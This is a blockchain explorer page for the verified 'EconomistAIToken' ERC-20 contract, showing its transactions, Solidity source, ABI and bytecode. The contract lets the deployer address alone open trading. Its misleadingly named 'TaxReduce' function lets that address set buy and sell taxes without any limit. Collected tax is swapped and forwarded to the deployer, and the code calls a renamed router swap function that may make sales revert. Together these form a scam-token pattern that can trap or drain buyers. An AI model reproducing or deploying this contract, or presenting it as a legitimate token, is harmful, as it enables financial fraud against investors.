ETH Price: $2,578.36 (+2.66%)

Contract

0x898664Bf6D714eaD65F991cf2dBbDc63DAc218bD
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve186077322023-11-19 18:45:59344 days ago1700419559IN
0x898664Bf...3DAc218bD
0 ETH0.0010497622.7518257
Approve186077162023-11-19 18:42:35344 days ago1700419355IN
0x898664Bf...3DAc218bD
0 ETH0.0010046221.64958378
Tax Reduce186076882023-11-19 18:36:59344 days ago1700419019IN
0x898664Bf...3DAc218bD
0 ETH0.0006692623.21169557
Tax Reduce186076862023-11-19 18:36:35344 days ago1700418995IN
0x898664Bf...3DAc218bD
0 ETH0.0010167822.13632193
Approve186076852023-11-19 18:36:23344 days ago1700418983IN
0x898664Bf...3DAc218bD
0 ETH0.0013011428.01045231
Open Trading186076842023-11-19 18:36:11344 days ago1700418971IN
0x898664Bf...3DAc218bD
0 ETH0.0006084422.94385399
Approve186076782023-11-19 18:34:59344 days ago1700418899IN
0x898664Bf...3DAc218bD
0 ETH0.0010275222.25236311
0x60c06040186076732023-11-19 18:33:59344 days ago1700418839IN
 Create: EconomistAIToken
0 ETH0.0198237123.17703854

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
EconomistAIToken

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-11-19
*/

/*

#EconomistAIToken Official Links:
Website: https://economistaitoken.io
Telegram: https://t.me/economistaitoken
Twitter : https://twitter.com/economistait
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.22;
    
interface IUniswapV2Router02 {
     function swapExactTokensForETHSupportingTaxGOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
    
    contract EconomistAIToken  {

        constructor() {
            balanceOf[msg.sender] = totalSupply;
            allowance[address(this)][routerAddress] = type(uint256).max;
            emit Transfer(address(0), msg.sender, totalSupply);
        }

        string public _name = unicode"EconomistAIToken"; 
        string public _symbol = unicode"EconomistAIToken";  
        uint8 public constant decimals = 18;
        uint256 public constant totalSupply = 10000000 * 10**decimals;

        uint256 buyTaxG = 0;
        uint256 sellTaxG = 0;
        uint256 constant swapAmount = totalSupply / 100;
        
        error Permissions();

        function name() public view virtual returns (string memory) {
        return _name;
        }

    
        function symbol() public view virtual returns (string memory) {
        return _symbol;
        }    

        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(
            address indexed ECO_DEV,
            address indexed spender,
            uint256 value
        );

        mapping (address => uint256) public balanceOf;
        mapping (address => mapping (address => uint256)) public allowance;

       
        
        function approve(address spender, uint256 amount) external returns (bool){
            allowance[msg.sender][spender] = amount;
            emit Approval(msg.sender, spender, amount);
            return true;
        }

        function transferFrom(address from, address to, uint256 amount) external returns (bool){
            allowance[from][msg.sender] -= amount;        
            return _transfer(from, to, amount);
        }

        function transfer(address to, uint256 amount) external returns (bool){
            return _transfer(msg.sender, to, amount);
        }

        address private pair;
        address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
        address payable constant ECO_DEV = payable(address(0x52be529CA13bA8071066B75C8A9FbDe773221390));

        bool private swapping;
        bool private tradingOpen;

        

        receive() external payable {}

        

        function _transfer(address from, address to, uint256 amount) internal returns (bool){
            require(tradingOpen || from == ECO_DEV || to == ECO_DEV);

            if(!tradingOpen && pair == address(0) && amount > 0)
                pair = to;

            balanceOf[from] -= amount;

            if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
                swapping = true;
                address[] memory path = new address[](2);
                path[0] = address(this);
                path[1] = ETH;
                _uniswapV2Router.swapExactTokensForETHSupportingTaxGOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
                ECO_DEV.transfer(address(this).balance);
                swapping = false;
            }

            if(from != address(this)){
                uint256 TaxGAmount = amount * (from == pair ? buyTaxG : sellTaxG) / 100;
                amount -= TaxGAmount;
                balanceOf[address(this)] += TaxGAmount;
            }
            balanceOf[to] += amount;
            emit Transfer(from, to, amount);
            return true;
        }

        function OpenTrading() external {
            require(msg.sender == ECO_DEV);
            require(!tradingOpen);
            tradingOpen = true;        
        }

        function _Remevetax(uint256 _buy, uint256 _sell) private {
            buyTaxG = _buy;
            sellTaxG = _sell;
        }

        function TaxReduce(uint256 _buy, uint256 _sell) external {
            if(msg.sender != ECO_DEV)        
                revert Permissions();
            _Remevetax(_buy, _sell);
        }
    }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"ECO_DEV","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"OpenTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"TaxReduce","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052601060809081526f22b1b7b737b6b4b9ba20a4aa37b5b2b760811b60a0525f90620000309082620001cd565b5060408051808201909152601081526f22b1b7b737b6b4b9ba20a4aa37b5b2b760811b6020820152600190620000679082620001cd565b505f6002555f6003553480156200007c575f80fd5b506200008b6012600a620003a8565b6200009a9062989680620003bf565b335f8181526004602090815260408083209490945530825260058152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001096012600a620003a8565b620001189062989680620003bf565b60405190815260200160405180910390a3620003d9565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200015857607f821691505b6020821081036200017757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620001c857805f5260205f20601f840160051c81016020851015620001a45750805b601f840160051c820191505b81811015620001c5575f8155600101620001b0565b50505b505050565b81516001600160401b03811115620001e957620001e96200012f565b6200020181620001fa845462000143565b846200017d565b602080601f83116001811462000237575f84156200021f5750858301515b5f19600386901b1c1916600185901b17855562000291565b5f85815260208120601f198616915b82811015620002675788860151825594840194600190910190840162000246565b50858210156200028557878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002ed57815f1904821115620002d157620002d162000299565b80851615620002df57918102915b93841c9390800290620002b2565b509250929050565b5f826200030557506001620003a2565b816200031357505f620003a2565b81600181146200032c5760028114620003375762000357565b6001915050620003a2565b60ff8411156200034b576200034b62000299565b50506001821b620003a2565b5060208310610133831016604e8410600b84101617156200037c575081810a620003a2565b620003888383620002ad565b805f19048211156200039e576200039e62000299565b0290505b92915050565b5f620003b860ff841683620002f5565b9392505050565b8082028115828204841417620003a257620003a262000299565b610c7a80620003e75f395ff3fe6080604052600436106100c2575f3560e01c806370a082311161007c578063ae5e610211610057578063ae5e610214610201578063b09f126614610220578063d28d885214610234578063dd62ed3e14610248575f80fd5b806370a08231146101a357806395d89b41146101ce578063a9059cbb146101e2575f80fd5b806306fdde03146100cd578063095ea7b3146100f757806318160ddd1461012657806323b872dd14610148578063313ce5671461016757806351cd7cc31461018d575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506100e161027e565b6040516100ee91906108f7565b60405180910390f35b348015610102575f80fd5b5061011661011136600461095e565b61030d565b60405190151581526020016100ee565b348015610131575f80fd5b5061013a610379565b6040519081526020016100ee565b348015610153575f80fd5b50610116610162366004610986565b610395565b348015610172575f80fd5b5061017b601281565b60405160ff90911681526020016100ee565b348015610198575f80fd5b506101a16103e2565b005b3480156101ae575f80fd5b5061013a6101bd3660046109bf565b60046020525f908152604090205481565b3480156101d9575f80fd5b506100e161042c565b3480156101ed575f80fd5b506101166101fc36600461095e565b61043b565b34801561020c575f80fd5b506101a161021b3660046109d8565b61044e565b34801561022b575f80fd5b506100e161048c565b34801561023f575f80fd5b506100e1610518565b348015610253575f80fd5b5061013a6102623660046109f8565b600560209081525f928352604080842090915290825290205481565b60605f805461028c90610a29565b80601f01602080910402602001604051908101604052809291908181526020018280546102b890610a29565b80156103035780601f106102da57610100808354040283529160200191610303565b820191905f5260205f20905b8154815290600101906020018083116102e657829003601f168201915b5050505050905090565b335f8181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103679086815260200190565b60405180910390a35060015b92915050565b6103856012600a610b55565b6103929062989680610b63565b81565b6001600160a01b0383165f9081526005602090815260408083203384529091528120805483919083906103c9908490610b7a565b909155506103da9050848484610524565b949350505050565b337352be529ca13ba8071066b75c8a9fbde77322139014610401575f80fd5b600654600160a81b900460ff1615610417575f80fd5b6006805460ff60a81b1916600160a81b179055565b60606001805461028c90610a29565b5f610447338484610524565b9392505050565b337352be529ca13ba8071066b75c8a9fbde7732213901461048157604051629af2b160e81b815260040160405180910390fd5b600291909155600355565b6001805461049990610a29565b80601f01602080910402602001604051908101604052809291908181526020018280546104c590610a29565b80156105105780601f106104e757610100808354040283529160200191610510565b820191905f5260205f20905b8154815290600101906020018083116104f357829003601f168201915b505050505081565b5f805461049990610a29565b6006545f90600160a81b900460ff168061055a57506001600160a01b0384167352be529ca13ba8071066b75c8a9fbde773221390145b8061058157506001600160a01b0383167352be529ca13ba8071066b75c8a9fbde773221390145b610589575f80fd5b600654600160a81b900460ff161580156105ac57506006546001600160a01b0316155b80156105b757505f82115b156105d857600680546001600160a01b0319166001600160a01b0385161790555b6001600160a01b0384165f90815260046020526040812080548492906105ff908490610b7a565b90915550506006546001600160a01b03848116911614801561062b5750600654600160a01b900460ff16155b8015610669575060646106406012600a610b55565b61064d9062989680610b63565b6106579190610b8d565b305f9081526004602052604090205410155b156107f2576006805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106106b4576106b4610bac565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106106fc576106fc610bac565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63bbc0e419606461073c6012600a610b55565b6107499062989680610b63565b6107539190610b8d565b5f8430426040518663ffffffff1660e01b8152600401610777959493929190610bc0565b5f604051808303815f87803b15801561078e575f80fd5b505af11580156107a0573d5f803e3d5ffd5b50506040517352be529ca13ba8071066b75c8a9fbde77322139092504780156108fc029250905f818181858888f193505050501580156107e2573d5f803e3d5ffd5b50506006805460ff60a01b191690555b6001600160a01b0384163014610872576006545f906064906001600160a01b0387811691161461082457600354610828565b6002545b6108329085610b63565b61083c9190610b8d565b90506108488184610b7a565b305f9081526004602052604081208054929550839290919061086b908490610c31565b9091555050505b6001600160a01b0383165f9081526004602052604081208054849290610899908490610c31565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108e591815260200190565b60405180910390a35060019392505050565b5f602080835283518060208501525f5b8181101561092357858101830151858201604001528201610907565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610959575f80fd5b919050565b5f806040838503121561096f575f80fd5b61097883610943565b946020939093013593505050565b5f805f60608486031215610998575f80fd5b6109a184610943565b92506109af60208501610943565b9150604084013590509250925092565b5f602082840312156109cf575f80fd5b61044782610943565b5f80604083850312156109e9575f80fd5b50508035926020909101359150565b5f8060408385031215610a09575f80fd5b610a1283610943565b9150610a2060208401610943565b90509250929050565b600181811c90821680610a3d57607f821691505b602082108103610a5b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610aaf57815f1904821115610a9557610a95610a61565b80851615610aa257918102915b93841c9390800290610a7a565b509250929050565b5f82610ac557506001610373565b81610ad157505f610373565b8160018114610ae75760028114610af157610b0d565b6001915050610373565b60ff841115610b0257610b02610a61565b50506001821b610373565b5060208310610133831016604e8410600b8410161715610b30575081810a610373565b610b3a8383610a75565b805f1904821115610b4d57610b4d610a61565b029392505050565b5f61044760ff841683610ab7565b808202811582820484141761037357610373610a61565b8181038181111561037357610373610a61565b5f82610ba757634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610c105784516001600160a01b031683529383019391830191600101610beb565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561037357610373610a6156fea2646970667358221220eaaa722a4fc354ffb2f16eb0fbd5da8618b902b06c62d361d22bd868c9f509ee64736f6c63430008160033

Deployed Bytecode

0x6080604052600436106100c2575f3560e01c806370a082311161007c578063ae5e610211610057578063ae5e610214610201578063b09f126614610220578063d28d885214610234578063dd62ed3e14610248575f80fd5b806370a08231146101a357806395d89b41146101ce578063a9059cbb146101e2575f80fd5b806306fdde03146100cd578063095ea7b3146100f757806318160ddd1461012657806323b872dd14610148578063313ce5671461016757806351cd7cc31461018d575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506100e161027e565b6040516100ee91906108f7565b60405180910390f35b348015610102575f80fd5b5061011661011136600461095e565b61030d565b60405190151581526020016100ee565b348015610131575f80fd5b5061013a610379565b6040519081526020016100ee565b348015610153575f80fd5b50610116610162366004610986565b610395565b348015610172575f80fd5b5061017b601281565b60405160ff90911681526020016100ee565b348015610198575f80fd5b506101a16103e2565b005b3480156101ae575f80fd5b5061013a6101bd3660046109bf565b60046020525f908152604090205481565b3480156101d9575f80fd5b506100e161042c565b3480156101ed575f80fd5b506101166101fc36600461095e565b61043b565b34801561020c575f80fd5b506101a161021b3660046109d8565b61044e565b34801561022b575f80fd5b506100e161048c565b34801561023f575f80fd5b506100e1610518565b348015610253575f80fd5b5061013a6102623660046109f8565b600560209081525f928352604080842090915290825290205481565b60605f805461028c90610a29565b80601f01602080910402602001604051908101604052809291908181526020018280546102b890610a29565b80156103035780601f106102da57610100808354040283529160200191610303565b820191905f5260205f20905b8154815290600101906020018083116102e657829003601f168201915b5050505050905090565b335f8181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103679086815260200190565b60405180910390a35060015b92915050565b6103856012600a610b55565b6103929062989680610b63565b81565b6001600160a01b0383165f9081526005602090815260408083203384529091528120805483919083906103c9908490610b7a565b909155506103da9050848484610524565b949350505050565b337352be529ca13ba8071066b75c8a9fbde77322139014610401575f80fd5b600654600160a81b900460ff1615610417575f80fd5b6006805460ff60a81b1916600160a81b179055565b60606001805461028c90610a29565b5f610447338484610524565b9392505050565b337352be529ca13ba8071066b75c8a9fbde7732213901461048157604051629af2b160e81b815260040160405180910390fd5b600291909155600355565b6001805461049990610a29565b80601f01602080910402602001604051908101604052809291908181526020018280546104c590610a29565b80156105105780601f106104e757610100808354040283529160200191610510565b820191905f5260205f20905b8154815290600101906020018083116104f357829003601f168201915b505050505081565b5f805461049990610a29565b6006545f90600160a81b900460ff168061055a57506001600160a01b0384167352be529ca13ba8071066b75c8a9fbde773221390145b8061058157506001600160a01b0383167352be529ca13ba8071066b75c8a9fbde773221390145b610589575f80fd5b600654600160a81b900460ff161580156105ac57506006546001600160a01b0316155b80156105b757505f82115b156105d857600680546001600160a01b0319166001600160a01b0385161790555b6001600160a01b0384165f90815260046020526040812080548492906105ff908490610b7a565b90915550506006546001600160a01b03848116911614801561062b5750600654600160a01b900460ff16155b8015610669575060646106406012600a610b55565b61064d9062989680610b63565b6106579190610b8d565b305f9081526004602052604090205410155b156107f2576006805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106106b4576106b4610bac565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106106fc576106fc610bac565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63bbc0e419606461073c6012600a610b55565b6107499062989680610b63565b6107539190610b8d565b5f8430426040518663ffffffff1660e01b8152600401610777959493929190610bc0565b5f604051808303815f87803b15801561078e575f80fd5b505af11580156107a0573d5f803e3d5ffd5b50506040517352be529ca13ba8071066b75c8a9fbde77322139092504780156108fc029250905f818181858888f193505050501580156107e2573d5f803e3d5ffd5b50506006805460ff60a01b191690555b6001600160a01b0384163014610872576006545f906064906001600160a01b0387811691161461082457600354610828565b6002545b6108329085610b63565b61083c9190610b8d565b90506108488184610b7a565b305f9081526004602052604081208054929550839290919061086b908490610c31565b9091555050505b6001600160a01b0383165f9081526004602052604081208054849290610899908490610c31565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108e591815260200190565b60405180910390a35060019392505050565b5f602080835283518060208501525f5b8181101561092357858101830151858201604001528201610907565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610959575f80fd5b919050565b5f806040838503121561096f575f80fd5b61097883610943565b946020939093013593505050565b5f805f60608486031215610998575f80fd5b6109a184610943565b92506109af60208501610943565b9150604084013590509250925092565b5f602082840312156109cf575f80fd5b61044782610943565b5f80604083850312156109e9575f80fd5b50508035926020909101359150565b5f8060408385031215610a09575f80fd5b610a1283610943565b9150610a2060208401610943565b90509250929050565b600181811c90821680610a3d57607f821691505b602082108103610a5b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610aaf57815f1904821115610a9557610a95610a61565b80851615610aa257918102915b93841c9390800290610a7a565b509250929050565b5f82610ac557506001610373565b81610ad157505f610373565b8160018114610ae75760028114610af157610b0d565b6001915050610373565b60ff841115610b0257610b02610a61565b50506001821b610373565b5060208310610133831016604e8410600b8410161715610b30575081810a610373565b610b3a8383610a75565b805f1904821115610b4d57610b4d610a61565b029392505050565b5f61044760ff841683610ab7565b808202811582820484141761037357610373610a61565b8181038181111561037357610373610a61565b5f82610ba757634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610c105784516001600160a01b031683529383019391830191600101610beb565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561037357610373610a6156fea2646970667358221220eaaa722a4fc354ffb2f16eb0fbd5da8618b902b06c62d361d22bd868c9f509ee64736f6c63430008160033

Deployed Bytecode Sourcemap

496:4218:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1165:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1771:222;;;;;;;;;;-1:-1:-1;1771:222:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;1771:222:0;1004:187:1;930:61:0;;;;;;;;;;;;;:::i;:::-;;;1342:25:1;;;1330:2;1315:18;930:61:0;1196:177:1;2005:208:0;;;;;;;;;;-1:-1:-1;2005:208:0;;;;;:::i;:::-;;:::i;884:35::-;;;;;;;;;;;;917:2;884:35;;;;;1883:4:1;1871:17;;;1853:36;;1841:2;1826:18;884:35:0;1711:184:1;4195:166:0;;;;;;;;;;;;;:::i;:::-;;1617:45;;;;;;;;;;-1:-1:-1;1617:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;1278:99;;;;;;;;;;;;;:::i;2225:136::-;;;;;;;;;;-1:-1:-1;2225:136:0;;;;;:::i;:::-;;:::i;4514:193::-;;;;;;;;;;-1:-1:-1;4514:193:0;;;;;:::i;:::-;;:::i;822:49::-;;;;;;;;;;;;;:::i;763:47::-;;;;;;;;;;;;;:::i;1673:66::-;;;;;;;;;;-1:-1:-1;1673:66:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;1165:95;1210:13;1243:5;1236:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1165:95;:::o;1771:222::-;1869:10;1839:4;1859:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;1859:30:0;;;;;;;;;;:39;;;1918:37;1839:4;;1859:30;;1918:37;;;;1892:6;1342:25:1;;1330:2;1315:18;;1196:177;1918:37:0;;;;;;;;-1:-1:-1;1977:4:0;1771:222;;;;;:::o;930:61::-;979:12;917:2;979;:12;:::i;:::-;968:23;;:8;:23;:::i;:::-;930:61;:::o;2005:208::-;-1:-1:-1;;;;;2107:15:0;;2087:4;2107:15;;;:9;:15;;;;;;;;2123:10;2107:27;;;;;;;:37;;2138:6;;2107:27;2087:4;;2107:37;;2138:6;;2107:37;:::i;:::-;;;;-1:-1:-1;2174:27:0;;-1:-1:-1;2184:4:0;2190:2;2194:6;2174:9;:27::i;:::-;2167:34;2005:208;-1:-1:-1;;;;2005:208:0:o;4195:166::-;4250:10;2708:42;4250:21;4242:30;;;;;;4296:11;;-1:-1:-1;;;4296:11:0;;;;4295:12;4287:21;;;;;;4323:11;:18;;-1:-1:-1;;;;4323:18:0;-1:-1:-1;;;4323:18:0;;;4195:166::o;1278:99::-;1325:13;1358:7;1351:14;;;;;:::i;2225:136::-;2289:4;2316:33;2326:10;2338:2;2342:6;2316:9;:33::i;:::-;2309:40;2225:136;-1:-1:-1;;;2225:136:0:o;4514:193::-;4589:10;2708:42;4589:21;4586:71;;4644:13;;-1:-1:-1;;;4644:13:0;;;;;;;;;;;4586:71;4445:7;:14;;;;4474:8;:16;4514:193::o;822:49::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;763:47::-;;;;;;;:::i;2899:1284::-;3006:11;;2978:4;;-1:-1:-1;;;3006:11:0;;;;;:30;;-1:-1:-1;;;;;;3021:15:0;;2708:42;3021:15;3006:30;:47;;;-1:-1:-1;;;;;;3040:13:0;;2708:42;3040:13;3006:47;2998:56;;;;;;3075:11;;-1:-1:-1;;;3075:11:0;;;;3074:12;:34;;;;-1:-1:-1;3090:4:0;;-1:-1:-1;;;;;3090:4:0;:18;3074:34;:48;;;;;3121:1;3112:6;:10;3074:48;3071:79;;;3141:4;:9;;-1:-1:-1;;;;;;3141:9:0;-1:-1:-1;;;;;3141:9:0;;;;;3071:79;-1:-1:-1;;;;;3167:15:0;;;;;;:9;:15;;;;;:25;;3186:6;;3167:15;:25;;3186:6;;3167:25;:::i;:::-;;;;-1:-1:-1;;3219:4:0;;-1:-1:-1;;;;;3213:10:0;;;3219:4;;3213:10;:23;;;;-1:-1:-1;3228:8:0;;-1:-1:-1;;;3228:8:0;;;;3227:9;3213:23;:65;;;;-1:-1:-1;1109:3:0;979:12;917:2;979;:12;:::i;:::-;968:23;;:8;:23;:::i;:::-;1095:17;;;;:::i;:::-;3258:4;3240:24;;;;:9;:24;;;;;;:38;;3213:65;3209:610;;;3298:8;:15;;-1:-1:-1;;;;3298:15:0;-1:-1:-1;;;3298:15:0;;;3356:16;;;3370:1;3356:16;;;;;;;;-1:-1:-1;;3356:16:0;;;;;;;;;;-1:-1:-1;3356:16:0;3332:40;;3409:4;3391;3396:1;3391:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;3391:23:0;;;-1:-1:-1;;;;;3391:23:0;;;;;2427:42;3433:4;3438:1;3433:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;3433:13:0;;;:7;;;;;;;;;;;:13;2513:42;3465:68;1109:3;979:12;917:2;979;:12;:::i;:::-;968:23;;:8;:23;:::i;:::-;1095:17;;;;:::i;:::-;3589:1;3613:4;3648;3676:15;3465:245;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;3729:39:0;;2708:42;;-1:-1:-1;3746:21:0;3729:39;;;;;-1:-1:-1;3746:21:0;3729:39;;;;3746:21;2708:42;3729:39;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;3787:8:0;:16;;-1:-1:-1;;;;3787:16:0;;;3209:610;-1:-1:-1;;;;;3838:21:0;;3854:4;3838:21;3835:227;;3918:4;;3879:18;;3947:3;;-1:-1:-1;;;;;3910:12:0;;;3918:4;;3910:12;:33;;3935:8;;3910:33;;;3925:7;;3910:33;3900:44;;:6;:44;:::i;:::-;:50;;;;:::i;:::-;3879:71;-1:-1:-1;3969:20:0;3879:71;3969:20;;:::i;:::-;4026:4;4008:24;;;;:9;:24;;;;;:38;;3969:20;;-1:-1:-1;4036:10:0;;4008:24;;;:38;;4036:10;;4008:38;:::i;:::-;;;;-1:-1:-1;;;3835:227:0;-1:-1:-1;;;;;4076:13:0;;;;;;:9;:13;;;;;:23;;4093:6;;4076:13;:23;;4093:6;;4076:23;:::i;:::-;;;;;;;;4134:2;-1:-1:-1;;;;;4119:26:0;4128:4;-1:-1:-1;;;;;4119:26:0;;4138:6;4119:26;;;;1342:25:1;;1330:2;1315:18;;1196:177;4119:26:0;;;;;;;;-1:-1:-1;4167:4:0;2899:1284;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;2091:248::-;2159:6;2167;2220:2;2208:9;2199:7;2195:23;2191:32;2188:52;;;2236:1;2233;2226:12;2188:52;-1:-1:-1;;2259:23:1;;;2329:2;2314:18;;;2301:32;;-1:-1:-1;2091:248:1:o;2344:260::-;2412:6;2420;2473:2;2461:9;2452:7;2448:23;2444:32;2441:52;;;2489:1;2486;2479:12;2441:52;2512:29;2531:9;2512:29;:::i;:::-;2502:39;;2560:38;2594:2;2583:9;2579:18;2560:38;:::i;:::-;2550:48;;2344:260;;;;;:::o;2609:380::-;2688:1;2684:12;;;;2731;;;2752:61;